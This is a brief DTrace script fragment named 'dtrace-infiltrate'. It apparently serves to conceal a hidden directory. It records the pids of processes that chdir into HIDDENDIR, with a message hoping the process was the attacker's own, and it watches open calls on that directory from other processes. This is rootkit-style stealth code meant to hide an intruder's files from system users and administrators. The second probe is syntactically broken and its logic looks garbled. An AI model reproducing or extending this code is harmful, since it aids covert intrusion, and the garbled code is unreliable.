dtrace-infiltrate

hiddenpids[]
syscall::chdir:entry
/arg0 && strstr(copyinstr(arg0,200),HIDDENDIR) != 0/
{
printf("[+] Someone chdir()'ed to our dir, hope it was us :( adding pid to
hiddenpids: %i\n",pid);
hiddenpids[pid] = 1;
}
syscall::open*:return
/(strstr(fds[arg1].fi_pathname+2,HIDDENDIR) != 0) && !hiddenpids[pid]/
hiddenpids[pid] = arg1;
}